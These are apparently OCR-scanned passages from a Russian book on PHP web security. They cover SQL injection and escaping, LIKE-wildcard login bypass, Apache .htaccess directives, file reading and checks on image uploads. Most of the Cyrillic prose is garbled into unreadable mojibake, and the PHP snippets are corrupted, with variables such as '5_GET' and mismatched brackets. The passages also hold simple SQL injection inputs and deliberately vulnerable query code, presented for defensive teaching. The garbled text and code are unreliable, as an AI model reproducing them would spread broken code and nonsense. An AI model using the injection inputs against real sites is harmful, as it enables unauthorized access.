( print("File opened (56)"); )
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7a KoMenTapws. ECTH MapaMeTpsi HE HKPAHHPOBATS, TO XAKEP CMOKET HCTOTBI0BTS
37Ty OUIMGKY AR BYIOMS, & MI0T630BATETH BAILIETO G/IOTA HE CMOTYT OCTABHTS TEKCT KOM-
MEHTADHS, B KOTODOM CONEPAWTCA OIMHADHAS KABHINKA. ECTH B TeKCTe Mapaverpa
comenttext GYIET KABHINKA, TO JANPOC HAPYWIMTCA  He CMOKET BHTIOTHHTECA,

106k 3anpOc U1 GE30MACHSIM H NPABATEHO BHTIOTHAICA, Mt TOMKHH SKPAHHPORATS
Kambiakh. To €CTH Ge30NACHAIM MOXHO GYIET CHHTATS CACAYIOUIMH KO-

5_GET(*1d') = addslashes (5_GET("1d'])7

5_GET(*username’) = addslashes (s_GET| ‘usernane*);

5 GET(*comenttext') = addslashes (5_GET [ *comanttext') s

$r = mysql_query ("
INSERT TNTO blog_coments (record, ysernare, comenttext)
VALUES (*" .5 GET('1d'). ™', " . §_GET['username’) . ™',
5_GET("comenttext]. ™t

)

KCTaTh, /418 YIa/leHus SKpAHPOBAHHA 3 MGpaMCTPa MOKHO HOTIOTB30BATS GyHKIUIO
stripslashes ()

5_GET("1d"] = stripslashes(s GET[*id"]);

PaspaGorumn PHP 2enaior nce Bosmoxsoe, “molst sasik Gsu MaKcuMaTe o YA0GHsi
118 Web-paspaGoTki 1 Gesonacitim. C ITOM €O e AWBHO Gbi MPIYMaH napa-
MeTp nagic quotes (Marwueckie Kansiikw). Ecti on mimioten, To PHP Gyzer astowath-
HeCKH TIPOBEPATS BCE MEPEABAEMBE CLEHIPHIO NAPAMETPHI Ha HATHSHE KABHEK H 1YG-
MPOBATS MX. TO SHAYHT, HTO HAM HE HYKHO CAMOCTOATETHHO TIPOBEPATS Bce ROTYac-
MblE TIZpaNETPi W FKPAHHPOBATS KABBIMKH.
Bee npexpacio? He concen. BONpoe 0CTAETEs OTKPHITHIM — HYKHO IKPAHHPOBATS Ka-
Boiki Wik Her? HyxHo 7 BLIBIBATS (GYHKIVNIO addslashes () 418 BCEX NAPAMETPOB
Tepezt wx menomsoBanven? Hy» o, HO TOTSKO B ToM CTyae, €CIH MATHECKHE KaBbii-
Ko BHIKIIONEHS  €CH BaM JHICTBHTETLHO HEOGXOTMMO HCTIOIOBATS MApAMETP He-
TOCpeCTBeHHO b 3anpoce. ECIH OHM BKTIONEHS, TO OTHHIPHA KIBHIYKA MOKET NPEBPa-
THTBCA B HETHIE MOAPAX WYX OAMHADHSIX KaBbiiKH. JTO BCe COXPAHHTCS B Gae
RAHHEIX, W TOTOM TP STHIH BOSHHKHYT TpoGTems J{BOHHOE JKPAHHPOBAIHE KaBbIYek
HYAHO GyA€T YGPATE, HO KAK YSHATS, GELIO IBOHHOE FKPAHHPOBAHHE HIM HeT?
TOGH yIHATS, YCTaHOBIEH 1 KEKOF-TO IapaMeTP B KOHQHTYpaLHOHHOM aiie, MOXHO
HETOEI08aTh GYHKUNIO ini_get (. ITOH (DYHKLLHH TIEPEIETCH MM KOHHIY PAIIHOHHO-
1O MGPAMETPa, IHAEHHE KOTOPOTO BaC HHTEPECYET. B HAlliew Cy%ae S napaeTpa
magic_guotes_gpe M KO MOTYT BHICIAZETS TaK:
£ (tini_get (magic_quotes_gpe))

$.GET(1d') = addalashes (s_GET("1d']);

ITOT KOA MOKHO MPOUIHTATS TaK: €cTH KOHGHTYPALMONHI NAPAMET magic_quotes_gpe
HE YCTaHOBTEH, TO IKPAHHPOBATS GET-IAAMET id.

TIpH HCTIOTE30BIHHH OTIEPATOPA LIKE BMECTO HAK PABEHCTB CHWBOTH! TOTIEPKHBAHHS
W NpoueiTa npHoGpeTalor ApyTOf cMicn. B AaHOM CAYUAE BCE, “TO HAXOAWTCA B Ka-
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TEITM TOTO AOMENA CHOTYT NoYSHTh A0CTYT K Kataiory wepes Web. Eca akas-
GO MANKa conepAHT onackbie G, ¢ KOTOPHMH AOKH! PAGOTATS TOTHKO
B, TO Sl OTPAHHSHTE I0CTYTI CBOMM AOMEHOM HTH TOTHKO JIOK&TSHOF Naui-
HOW, K388 allow from localhost;

* IP-azpec— CyKaET M0CTYI K KaTATOTY 20 onpezenennoro IP-anpeca. 1o osets
YIOGHO, KOTAA y BAUIETO KOMMbIOTEpa €CTh BBCTEHHbIH AAEC, W BbI XoTHTE
OGecrieduTh 0CTYI K KATATOTY, CONEPKALIEMY AIMHHHCTPATOPCKHE ClIEHaPHH,
TOTBKO 1A CEGA. ALPEC MOKET GHITH Kak MOTHbIM, TAK H HEMOTHBIM, 410 10360
AT OFPAHHSHTH LOCTYT K KATATOTY ONPEACIICHHOH CEThIO;

* enyeJacariepenensiofi— AOCTYTI PATpeLIEH, €CH OMPEAETEH YKAIHHIS TEPEMEH-
Hax OkpyKenns. TIOTHBIH OPMAT IMPEKTHBSI allow Erom env-jhcsliepeteiors

O deny from napaverp— sanpeulenve AOCTYNa K yKasamwowy Karazory. Tlapaverpst
TaKH e, KaK Y KOMAHIb allow £ron, TOBKO B AGHHOM CilyWae 3aKpHBAETCA A0CTYIN
U138 YXSAHHBIX QIPECOB, JIOMCHOB H T. 13

0 oxder napaserp — OHEPEIHOCTS, B KOTOPO TPHMEHSIOTCS AMPEKTHBH allcw H deny.

Morker Gurts Tpi apharTa:

© order deny, a1low— HIHAYATEHO BCe PA3PEUIEHO, IOTOM IDHMEHSIOTES JaNPETS,
a 3aTem paspeuieis. PEKOMEHTYETCA HCTIONIORATS TOTKO 1A OOUHX KATANO-
FOB, B KOTOpBIE MIOTS3OBATEH MOTYT CAMOCTORTEAbHO aKaHWBaTS ajis, HANpH-
Mep, CBOH HIOGpaREHNS;

« order allow, deny — CHANATA BCE SANPEUIENO, BCTEL 2 JTHM TDAMERAIOTCH pas-
PellieHns, 3aTew 3anpeueHHA. PEKOMEHIYETCA DHMEHAT UTA BCEX KATIOTOB cO
cuenapus;

© order nutual-failure — WIHAYATHHO ATIDEULEH JOCTYT BCEM, KPOME TIEpewic-
JIEHHEIX B allow H B TO e BPEMS OTCYTCTBYIOUIAX B ceny. COBETYIO YKA3HIBATS
3T0T BAPHAHT L18 BCEX KATATOTOB, A€ HEXOIATCR (pakTbi, HCTOTb3YEMSE OMpEsE-
TCHIHBIM KPYTOM I, HATDHMEP, AIMHHHCTPATOPCKHE CUCHAPHI;

O Require rapaer> — NO3BOTAET MEPEHCTHTS MOTBIOBATEIIEH, KOTOPHIM PaspeicH

AOCTY K KaTa70ry. B KatecTse NapameTpa MOXHO YKAIHBATE:

o usex — uniena nonwsoBaTenei (v wx ID), KOTOpKM PaSpetEH 0CTYI K KaTaro-
ry. HanpHMep, Recuire user robert Flenow;

* Group — HASBAIA TPYIIT, TIOT3OBATEAM KOTOPHIX PATpEIeH ZOCTYTI K KATATOTY.
JIHpexTitRa paGoTaET TaK e, Kak H user;

* valid-user— ZOCTYN K KATATOTY paspettie MOGOMY ayTEHTHHLMpOBAHHOMY

0 satisty napauerp— eCIH YKASATH IHANEHHE any, TO ATA OTPAHHNEHHS A0CTYTA H-

ROTB3yeTCR W T0THI/NaPOT, Wi TP-azpec. JITA WIEHTHHKALHH TIOTHI0RETETS 10

Y YCTOBHAM OHOBPEMEHHO HAZO 3ATATH 211;

0 Allowverwrite napaerp— ONPENETACT, KakHe AWpEKTHBN w3 (ailna htaccess

B YKAJAHHOM KATATOTE MOTYT NEPEKPHIBTE KoH(HTYpawio Web-cepaepa (onpury-
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Web-cephep pn OGpaULERHH K KATATOTY OTOGPASHT OKHO /1A BBOLA HNEHH W TAPOT.
‘Texer, ykasanmbiil b MpEKTHBE Authiiane, TIORBHTCA B 3aronoBke okha. Ha pie. 5.2 npk-
BeseH IPHMED TAKOO OKHa.

Puc. 5.2, 0o 3anpoca wews w napons.

JiupexTna Authsereile 3anaet daili, B KOTOPOM HAXOTWTCA Gasa MMeH W maponeh
noms3oBaTeAel caifra. O TOW, Kak CO31aBaT TaKOH (Balii H PAGOTATh C HHW, M TIOTOBO-
v nomke. TIOGACIIAS MEKTHED Recus re B KAYECTBE TIAPAMETPA HCTIOTH3YET JHANEHHE
valid-user. TO IHANHT, 41O (alTbl B TEKYILIEM KATATOTE CMOTYT OTKDHITH TOBKO Te
IOTS30BATEH, KOTOPHIE MPOLLIH ay TEHTHPHKAIIIO.

BT TaKIM MPOCTHIM CTIOCOGOM MOHO JATIPETHTS HeaBTOPHSOBAHHHH AOCTYTI K KATANO-
IY, CONEPRALIENY CERPETHBIE JaHHBIE W CLUCHAPHH AINMHHCTPATOPR.

B Gaiine htaccess MOFYT HaXOAWTECH W AMPEKTHBH THIA 2110w Fron. CHAYATa NOGMOT-
[PHM Ha TIDHMEP, @ NIOTOM VBV, Kak €10 HCTIOTSI0BATS:

order allow,deny

allor from a1l

Tlepooe ofbamncHME 3A79€T MpaBa AOCTYTA K ONEAEICHHOMY KATATOTY Ha JCKE
(b Aansom crysae Var/www/html), @ BTOpOE OTPAHHAHBAET OCTYII K BMPTYATHHOMY
KaTazory (s npHBeeHHOM phviepe hittp://servername/server-status).

Teneps paccmoTphv, Kak 37210TCH MpaBa A0CTYTA. JUIR STOrO HCTIOTB3YIOTCA CAEAYIO-
[y —

O allow from nspauers — ONPEACIAET, ¢ KAKHX XOCTOB MOKHO MOTYHIHTH AOCTYN
K YKEQHHOMY KATAIOTY. B KAECTE IaPAMETP MOAHO HCTIOTHIORATS OIHO W3 CAe-
Rytou swasc
« a1 — nocryn  Kaaory paspeter ncex;

* Zoueruioe a1 — OMPEAEAAET AOMEH, € KOTOPOTO MOAHO OTYWHT Z0CTYI K KTa-
‘nory. Hanpiwep, Moo ykasath domain.com. B 5Tom cysae TOTEKO TIOTb30Ba-
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Tak b ew e pasHIIa? DYHKIA £read () SHTAET AQHHE, He OGPAILER BHHMAHHS Ha
nepenost cTpox. Jlomycri, Bau ajin CONEpAMNT Abe CTPOKH:

This is a test

Test file

Teneps nonpoSyiite oTKpATs STOT i  npowTaTS 40 CHMBOTOB. TOFO AOCTATONHO,
TOGH MpONHTATS Bce ConepAHMOE iina,  OHO GYAET BOIBPALLEHO B BWIE OTHO
TpOKH. A TEmEph NOCOTPHN Ha CeYIOUINH KO

17 ssewe nepaon crpors

59 = fgets(st, 4015

print ("<pLine 1: $57)

11 unessre vopon crpowt
55 = fgets(st, 40);
print ("<p>Line 2 $s7);

Inech /1 TEHHA HCTOMB3YETCA QYHKINS foets (). Oa wTaeT w3 daitna yKasanmoe
KOTHYECTBO CHMBOTIOB, HO NPEPHIBACT WTEHME, KOTA BCTPETHT CHMBOT TIEPEROTA CTPO-
Kot TakinM 0GPaIoN, HECMOTPS Ha TO, TO M wiTaem 110 40 CHMBOTIOB (1OCTATONHO 215
‘0GEHX CTPOK), KaKbiH BEI30B YHKINH £ets ) GYIET BOIBPAILIATS TONHKO OIHY CTPOKY.
HIrak, yKumA cead () YI00Ha, KOTIa HYXHO SHTaTh baii, He OGPALIGR BHHMAHHA Ha
CTPOKH, 8 £gets () /1A UreHws pafina nocTPOHO.

YR £g0tss () WISHTIH 5615 (), HO TIpH STEHHH YAWIAST W3 MPOSHTAHHIX 1aH-
Hunx Bee HTML- # PHP-Terw. B oBute Be (yHKILA BHITATHT CACIYIOUUAM 0GPIION:
string fetas(int €, int length [, string allowablel)

TlepBbic 1152 MIAPANETPA HaM YKE HIBECTHS, & TOCTEANKH ABTAETCA HOBBIN. TO CTPOKA,
CONEPKALAA CTIHCOK. PASPEUICHHIIX. TEroB 4epes JANATYI0. 1o YKe HAHOTO Tywile,
PO Bt NOXeTe paIpeUTS STeHHe 3 (aiLTa TOTLKO GEIOMACHSX TeroB, HaTpHMED,
TeroB opmaTHpOBANIA: <5, <I>, <U> MT. I

He nowewaro Gei MeTs BOIMOXHOCTS GHETPO YBHACTS CTpoKH daitna b Bae Maccia.
MOHO NPOMHTATS BCe CTPOKIH B MACCHBE © OMOILSIO £96ts (), HO €CTh CI0COD Tyt-
e — QYHKIA £51e ), KOTOPAA BHIIAIHT CEAYIOUIAM OGPA3OM:

arrey file(string filename [, int use_include_pathl)

TIpOCTOTA STOTO METOMA 3AKTIONATC B TOM, SO HE HYKHO OTKpHBATS baiin, HerIOTs30-
BaTS LY 215 e, SaxphBaTs haiin. TIPOCTO YKasbiBaCM MR HYAHOTO (aitna i o~
TYHAEM MACCHB €70 COTEPRHMOTO.

Bee X0pouio, 10 TYT ecTh W HeocTaToK. JlomycTHw, wro dhaitn sanvmaer | MGaifr -
KOBORO MPOCTPAHCTB, HO HaM HyAHO MPOSHTATS TonbKO nepabie 10 Gaiir. Oymruns
£41e () 3ArPYSHT Bect Gali H MSPACKOLYET HA 3TO MHOTO PECYPCOB. A €CH K ClCHAPHIO
oGparaTea o cerh 100 nonbsoBaTeneH? CoMIKOM GOTBUIAE PACXOTBI MOTYT MpHBECTH
K 3AMEIICHHIO PAGOTS CePBEPa I YBEIHCHHIO BPEMCHH OTICTHK.

Hikorza He wenomsayie dyHKiunio £ile () w1s Gonbux baiiion, ecth He codupactech
TATS WX UETHKOM. BaM MOKET TIOKA3ATLCH, HTO THUIHHE PACKOE HE IHATHTENLHE, HO
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 Wwenew $1d. ECTH XaKep NIEPENICT B NEPAMETPE CTPOKY BIA 1* and injectcode —
FA€ injectcode — 310 ONACHMI KO, KOTOpbiHk XaKep MBITAETCA BHEIPHTS B MPOTPamMY,
70 SQL-#HbeK1HA NpOFTET yenewHo.

‘OGpariTe BHMMaHHE Ha 15a 1ePHCa B KoHLE 31O CTpOKH. O He cryalisi TIoBTopio:
B MySQL 9TH 168 CHMB0:1a 0GO3HANAIOT KOMMEHTApHH, TaKkHM 0GPEI0N, MOXHO 3AKOM-
MEHTHPOBATS OCTEBLIYIOGS 4acTs 3ampoca. ECTH BYIOMUIAK He CAEA3ET ITO0, TO eMy
NpHAETCA MHCaTS BHEAEMsiH KO TaK, STOGH Bech JAMPOC OCTATCA KOPPEKTHEIM  HE
conepaan oumGok. TIOCMOTPHN, BO ¥TO NPEBPATHTCS 3TPOC, ECTH NOTIBTATICS BHE-
IPHTS CTPOKY 1° and 1-1 6€3 CHMBOTIOB KOMMEHTpHS:

SELECT * FROM users WHERE ide'l' and 1=1' AND user_role = 1

TIOCMOTPHTE Ha BCHO CTPOKY B LEAIOM H OGPATHTE BHHMAKHE H TPETHO ONMHAPHYIO Ka-
Bitaky. OHa-To H HApYILIAET CTPYKTYPY 3anpoca. IO OLIMOKA, H 5232 JAHHIX He CMOXET
oBpaGoTaTs Taxyko cTpOKy. XOpOILO, “To Ml SHAEM BECh AMPOC LETHKOM H NPECTaB-
16M, "TO MOAHO BHEAPHTS, 4TOGB He Bce PAGOTATO. BYTOMIIAKY H2CTO 9T HEHIBECT-
HO, H B TAKOM CIy4ae OH TOCTO AOGABIAET CHMBOTH KOMMEHTAPHA B KOl BHEIpAe-
MOro Ko

SELECT + FROM users WHERE id='1' and 1=l —- ' AND user_role = 1

Tenteps 5ce, SO HAXOATCR TIOCTE TBYX ACGHCOB, HE HMEET HHKAKOTO SHAYCHHA 1%
ceppepa Gasst TaHHBX. [1ABHOE, STOGH 71eBas HACTS 3aPOCa GbLIa KOPPEKTHS, a ITO Tak
weets,

UroGH MPEOTBPATHTS BHEADEHHE JTOHAMEPEHHOTO KO3, HYAHO TPOCTO MPOTYGTpO-
BaTS Bce ONMHADHIE KABGINKI BHYTDH IAPAMETPA. id, NOTYHEHHOTO OT MOTHIOBATENS,
NpEXAE em MOCTABAT HaenHe B 3anpoc. JITa AYGTHPOBANHA OTHHADHSIX KABGIHEK
HCIOMB3YeTCA GYHKILA addslashies (). Mot TIEPAAEM QYHKLLHH MEpeMEHHYIO, a Ha Bbi-
'XORe MOMyaeM Ge30nacHoe 1A HEMOTB30BaHAA B SQL-3aMpOCaX HaseHHe:

5_GET(1d) = *addslashes (5_GET["id"))

‘Teneps ec XaKep Mepeaact CTPOKY 1° and injectcode —, TO TI0GTE BI308a dYHKIH
addslashes () CTPOKA IPEBPATHTCA B 1" and injectcode —-. B HE OTAHAPHA KABBINKD
aaMelEHa TBYMS TOZPAZ WIYIINMM KaBiaKaH. OZHa I3 HITX JAKPHBACT CTPOKY, 3 PY-
143 OTKpHBAET. TaK KAK OTKPHITHE  SAKPHITHE TIPOHCXOTHT MOTPAL H 663 MIPOMEAYTON-
HBIX CHMBOTIOB, ZaHHHIH BAPHIHT AGCOTIOTHO Ge3onaced 1% SQL-SATPOcOB, K HiheKIIA
He npousofizer. TaxoH CTIOCOG JAUTH OT KABBIEK HATHBACTCA IAPAHUPOSTHUEN.
Jlonycrinw, 4To Bt mHweTe cuenapki 0T, KOTOpbiH A0TKEH COXPAHATS B Gase ai-
HADX KOMMEHTapHfi MOTB30BATENS:

$¢ = mysal_query ("
INSERT INTO blog_comments (record, username, commenttext)
VALUES (" .S GET('id"). "', *" . $_GET['username’] . "',
s_GET(*commenttext’]. "')"

i

Fnech B TAGTHLY blog_corments BCTARTAETC SATHCD H3 TPEX NOTeH — WICHTHMKETOPS
3aMCH 67107, KOTOPYIO KOMMEHTHPYIOT, HMCHH TIOT30BATEA H HENOCPEICTBEHHO Tek-
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1f (mysql_num_rous (Squery) > 0)
0

1/ nomsovarens cymectayes

l

Ecnn nomsosatens He maiten (anpoc Bepuyn Homs samiced), To dymkuns
ysql_rum_cous () BEPHET Hob. Mbi MpoBEpACM, 4TO0HI PesynsTaT Ghun Gorbue yas.
Takyio MPOBEPKY & BCTPESAI OCTATONHO HACTO, XOTA B Hell 0COGOTO. CMBICAA HeT.
B TaGAHLE 0KeR GHTh TOTHKO OTHH TIOTH30BATEAD © YKASANHBIM HMEHEM 1 IGpOTEH.
JlyGamposane HeittocHo! Tak WTo BoAHE AOCTATONHO GYAT ACAaTh MPOBCPKY Ha
[T Ry —

i€ (nysal_nun_rous (Squery) =
«

11 nomvsosarens cyaecrayer
I

n

B mofom cyuae ke MpOBEpKA Ha PABEHCTO EAMNWIE HE PEUIAET MPOGTENY, 3 Mpo-
BepKa O 3HAKOM "GOTbIIE" MPOCTO HenoMyCTVA. ECTH MOTEI0BATENS BBET 3HAK po-
LEHTA B #MA W NAPOTH, TO 3ATOC. BEPHET €My ABCOTIOTHO BCE JAMHCH. PesyTbTaT G0/t~
e HYI%, & SHAYHT, EPBbIE 2153 BAPHANTA NIPOBEPKH MPOHIYT YCTIEWIHO, 1 BYIOMUIAK
39PETHCTPMPYETCR B CHETEME IO HMEHEM NIEPBOTO NOABIOBATENA B BOIBPALEHHOM Ha-
Gope nanx.

A eCTH BUIOMILIIKA He YCTPAHBAIOT NOTYeHHBIC PaBa? 4% WA TIOTH3OBATEAS, TABA
KOTOPOTO €My HyKHbi, BUIOMULHK TIEPEAACT B NIAPAMETPE usernare STO WM, & B KAYECTBE
NapOTIA TBEIAOUKY, 1 OKEKETES B CHCTEME C HYAHBIMM TPABAMH

Huxooa we wenomsayiiTe cpaswenme LIKE Ges 0coGof HanoGHocTH. JToT onepatop
‘CPABHEHHA MOKHO IDHMEHTS TOTBKO B TeX GAYYANX, KOTIA Bl YBEPEHS, 4TO WabI0HS!
sy,

XOT WAGHON He WMEROT TIPAMOTO OTHOUIEHHS K MIEKIUAH, OHH TOKE HCTIOTH3YIOTC
BUTOMULAKANH B JAPOCAX, M TIOITOMY MBI PACCMOTPETH JaHHYIO YFIBHNOCTS B JTOM
pasaere.

3.8.3. PeansHoe 3kpaHuposaHue

yHKuA addslashes () PAGOTACT NPEKPACHO, NOKA BBl He MCTOTBSYETE KOTMPOBKY
'UTF-8 conmecto ¢ Gasofi zanix MySQL. C STl KoIMPOBKOl PeKOMCHIYETeA mpi-
MeRATS Goree Ges0acHylo YHKINIO mysql_real_escape_string (). Bupoten, b Hirep-
HETe % BCTPENAN PAVTHIBIE MHEHIS 10 IOBOXY GC3OMACHOCTH KAIORO 3 BAPHANTOR.
DyKus mysq)_real_escape_string () BHIMBACT OTHOMMENNYIO GYHKINIO 13 GHGIHO-
Texu mysql M rapaTpYeT, T Bee OnacHBie /1A Gazei ZQHHbIX CHMBOTH Gy YT 0B~
BpeskcHb. OHa HAHCAHA PASPACOTIHKAMM Gashi JaHHBIX, H, TIO WICE, OHM TYHILE BGeX
ORI SHATS, T Gesonackee 115 WX aHATITOp SQL-3anpocos. C APYTOH CTOpOH,
paspaGormis PHP — TaloKe CrIeUHATHCTH CBOETO €74, W X METOR GOpGH ¢ onackbi-
I CHMBOEMH C ONOILSHO (YHKILAH acds ashes () TOXE A0CTATOMHO SeKThbes.
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BKEX, FBTAETCA WAGTOHOM, 3 B JTOM WAGTONE MOAUEPKMBIHME OIHaSAET TOBOH CHb-
B0, @ MpOUEHT — 706YI0 rpymIy cHMBONOB. HanpiMep, €cTH Bam Hy kM nce om0~
'BATEAH, WMEHA KOTOPHIX HAYHHAIOTCA Ha GYKBY d, TO MOKHO BHTIONHHTS CPABHEHHE:
username LIEE ‘att

ECIIH BaM HYKHO Y3HATS BCEX NOTEI0BATENCH, HMEHa KOTOPBIX COCTORT M3 THOGHIX Tpex
GYKE, TO MOXHO BHITIOTHHTS TaKofi 3aTPOc:

usernane LTKE '__*

TIORHEPKHBaHWE SaMEHAET OTHH TI0GOH CHMBO, & MbI YKAXUTH TPH CHMBOTT
B, SHAYHT, HaN BEPHYT BCe WMEHA, COCTOALLHE 3 TPEX GYKE.
Gen 370 rposHT? JIONYCTHM, STO MpH ABTOPHIALLAH B MLETE B Gase AQHHAIX OTHI0BA-
TeAR € Moo 3anpoca:
sewecr +
WHERE user_nane LIKE 'S_GET(usernane] "

AND user_pass LIKE 'S_GET(password]®

noepKH-

B PEATSHOCTH B J0/KHEI OTKINTLCA OT LIKE B M0A0GHAX cysasx. Henosayire ux
TOTBKO TaM, Te PEATEHO HEOGXOIIMA TIOIIEPKKA WAGTIONOB, @ BO BOEX OCTATBHBIX Y-
HaTX CpaBHHBAITE CTPOKH MPOCTHIM CHMBOTOM panencTsa. Ho ZOMYCTHM, 410 KTO-TO
WCONKI0BAN LIKE /1% CpaBHEHHS CTPOK. [10GMOTPHM, SeM 5T rposHT.

BCe MPEKPACHO, €CH B BHPESACTE W3 APAMETPOB userrane H pasword CHMBOTH 10z
sepKHBaHHa  npoueTa. (XOTA 3a4eM TOTAA HCTIOTH30BATS LIKE?) B 9TOM cywae 3a-
TIPOC. MOXHO CHHTATS Gesonackkiv. ECTH HeT, TO XAKEp MOKCT MEPEATS B Kavecse
06OUX NaPAMETPOB CHMBOIT POLIEKTA, YTO GYAET COOTBETCTBOBATS AGCOMOTHO ToGOMY
WMEHH 1 aGCOTIOTHO TOGOMY NapoTio. B STOM Clysac 3anpOC BEPHET ABCOTIOTHO Bee.
SATHCH 3 TAGAHUS. S| NIOZI03PEBa0, 4TO TOTHKA MPOTPAMME Gy TeT TaKoM:
Sauery = mysql_query ("SELECT * FROM users

WHERE user_name LIKE 'S_GET{username]*

AND user_pass LIKE *§_GET(password]' ")

if (squeryinsert = mysql_fetch_array (Squery))
«

17 nomwaosarens nanzen

)

B AGHHOM CTyac BHIIOTHSETCS 3ATPOC Ha IOHCK NOTs3oBaTeNs B Gase Aanmix. Tocre
1070 Z€TATCR NOMBITKA MPOYHTATS 3ATTHC C NIONOIsH0 GYHKUMH mysa]_fetch arzay ().
ECi \Tene pOULIO YIGHHO, SHANHT, SATHCD €CTh B PESYTHPYIOUEN. HAGOpE OcTE
BunonHenM 3anpoca.” CACIOBATENBHO, NOTHIOBITENS C TAKHM MMEHCM H TZpoe
cymecrnyer.

Eille O21H BapHAHT MpOBEPKH — MOCTIE BHTOTHEHHA 3ATIPOCA POBEPHTS KOTHYECTBO
BovBpaEHHLX sanHCeH:
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pawno w3 baiina hitpd.conf 1A ceppepa Apache). B KatecTse NapameTpa MOXHO
YKA3T OO M3 CTEAYIOIX IHaEHHH: None, ALL, AuthConfis, FileInfo, Indexes,
Linit # options;

O Options [+ | -] napasern— ONPEIEIAET BOMOKHOCTH Web-ceppepa, KOTOpHE
AocTymHL B aNHOM KaTanore. EGH y BAC €CT KATATOF, B KOTOpHIH NOTSI0BATEAAN
PAIPELIEHO 3AKAUHBATE KAPTHHKH, TO BIIOTHE JIOTHAHBIM ABIAETCA JAPET Ha BHION-
HerHe B Hew THOGHX cueHapHes. He HATO WATEATECA, SO Bbi CYMEETE MPOTpaMMHO
aampeTHTS 3rpy3Ky MOGMX (paikTon, Kpowe waoGpaKeHi. Xakep MOKCT HaliTH crio-
00 3aKa4aTh, BPEIOHOCHEE KOX M BHNOTHATS €10 B CHTeNE. C NIOMOUISO o
MOAHO CAERATL Tk, “TOGH CucHapH He BbnoICE Web-ceppepo.

HITaK, 1I0GAE KIIONEROro CI0Ba MOKHO CTABHTS 3HAKH "TITIOC" WIH "MHHYC", STO Co-
OTBETCTBYCT pEpEmEHHIO WK 3AMPEMENHIO OMUAH. B KaueCTBe NapAMETPa yKaSHIB
€164 0IHO H3 CAIYIOLINX FHAYCHHH:

 ALL— nce, Kpowe MultiView. Ecai ykasars, cTpoky Option + ALL, TO B AaHHOM
Karazore GyayT paspemetnt oG AeHoTBM, kpome MultiView, KoTopsik saza-
eTeR oTenbiO;

* Execost — paspeueno Bumonwenve CGI-CEHAPHE, BHIIOTHAEMBIX Ha Cepepe;

* Follousymiinks — MOJBOIAET HCTIOALIORATH CHMBOTBHHIE CCHUIKH. YGemTech,
7O B KATATOTE HeT OMACHIX CCBLIOK, H X NPABa He HIGHTONI;

* SymLinksIfOumesNatch — CACZOBATS 0 CHMBOTSHBIM CCUIKAM, TOKO €CITH B2~
BB 1eTeBOro paiiia W CoRUIKH COBTANAIOT. TIpH HCMOTL3OBIHHH CHMBOTE-
WX CCUIOK B IGHHOM KATATOre TyWule YKETH TOT NapaMeTp BMECTO
Fol LowsymLinks. ECIH XaKep CMOKET COVIATS CCBUIKY H KATATOT /etc W mpocrie-
yer 10 e w3 Web-Gpayaepa, TO BOSHHKHYT Cepbestbie IPOGAEMs! B Gesonaco-

* tncludes — Henomssonars SSI (Server Side Include, moakmouenwe Qaiinos He
cepaepe);

* IncludesNOEXEC — HerOMs0BaTS SSI, KpOME exec H include. Ech mbt e nerom
ayere n cucnapisx CGI 9TH KOMAHIN, To AaHHAA ONLA ABACTCH MPEATIONTH-
ebiee npesiyes

® Indexes — OTOGPAIHTS CITHCOK CONEPAWMOTO KATAIORS, ecii oTcyTeTRYeT dailn
70 yworanmo. Yame neero, MoTkI0RaTENH HAGHPAIOT ATpeca B YKOPOWEHHOM
‘popare, Hanpuviep, www.cydsoft.com. 3xech e ykazan ai, KoTophi HyskHO
sarpysurs. Tlonwsihi URL sbirasut kak www.cydsoft.com/index.htm. B nepsow
BapHAHTE CepBEp cam WILeT (a1 110 YWOTHAHWIO 1 OTKPHIBAET €ro. IO MOTYT
Gbrms index.htm, index html, index.asp ww index.php, defaulthtm u . 2. Ecan mn
o w3 Takwx GaoB 1O yKAZAHHOMY YTH He Hal1EH, TO TIDH BKITOYEHHOR on-
LW Indexes GYAET BHIBEACH CITHCOK COTEPAMMOTO KATAIOFR, HHAYe — CTPAHHIA
OUMGKH. S| PEKOMEHIYIO OTKTIONATS STy OMILHIO, IOTOMY MTO IOYMBILICHHHK
MOKET IOTYHTH CIHLIKO MHOTO HHGOPMALUAH O CTPYKTYPE KAT&IOra M €r0 co-
TepRIMON,
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HTOGH! XaKep He CMOT JATPY3HT HIYEFO OTIACHORO LIA BAUIETO CepBepa, HEOOXOTAMO
CTENTE 38 CONEPRHMEIM JaKAIHBAEMHX AaHH. HATpHMEp, O9eHs HacTo Ha dopywe
TIOTSI0BATEAAM NPEAOCTARTACTCA BOIMOXHOCTS JAKANHBATS CBO KAPTHHK, KOTOpHE
GyayT oTobpaxathes Haz cooGuervawy. HO MPH STOM Mbi OTKHS GHTh YBepeHsl, w10
B Qaline ZCHCTBHTESHO rPAQHHECKyE JAHHHE, & HE TEKCT W, TeM Golee, HE MPOTPAMMA
wa ssbike PHP. Kax B 5ToM yoemmhcs?

Onvoit mponepx paiinon mkora e Guimact AoCTaTOHo. HykHO 0GAIATEBHO peati-
0BT HECKOTBKO ITAIOR KOHTPOIS AGHHBIX, TIOTOMY S0 OTHH YPOBEH 0GOHTH Beer1a
HaNHOTO Mpotite. OGEYIHM, KakHe NPOBEPKH MOAHO CAEAATh 1A Gali/IOB KapTHHOK.

TonpoSyiire saKasas Ha ceppep rpadweckii paiin B popwate GIF ¢ noMouo cite-
HApHA, OMHCAHHOTO B pas). 5.2. B 1OMe type GYIET COTEPRATHCR TeCT inage/sif. JIo
IAKE CIEWA HAXOTMTCA THI imae, A TIOGAE CTeIA CTOWT pacupenwe Gaiina. Jia
JPEG~paii0B 110C7E CAELIA MOKHO YBHIETH OTIHO W3 PACUHpeIv Jpg, Jpeg W Pipe, &
15 PNG-aiina GyeT png. Boe TH THITH TIOJIEPAHBAIOTCR GOTBLIHCTEOM COBpEMeH-
HbIX GpaY3EPOB, W HMEHHO HX Mbi GYIEM TIPOBEPATS.

A Tenieps NOPOGYEM NepeMEROBETS NPOCTOM TekcToBRIA (aiin co cueHaphew B daitn
© pacumpenmen gif W SAKENACM TeM Ke ClicHapHeM. B mepewenHoll type Gyrer
plain/text. XoTs, Cyan 1O pacumpennio, 10T dali JOMKeH GHTs rpaHIECKHM, po-
rpava "awrt", T THn aiiia TeKCTOBbIA. TIOTYMGETCS, SO HETH33 BEPHTS PACHIHpe-
HHI0, & BOT THIY Dallia MOKHO HEMHOTO A0BEPATE.

B awcTumre 5.1 noKa3aH MPHMED, B KOTOPOM THI daiia paSCHBAETCH Ha COCTABTAIOWIHE
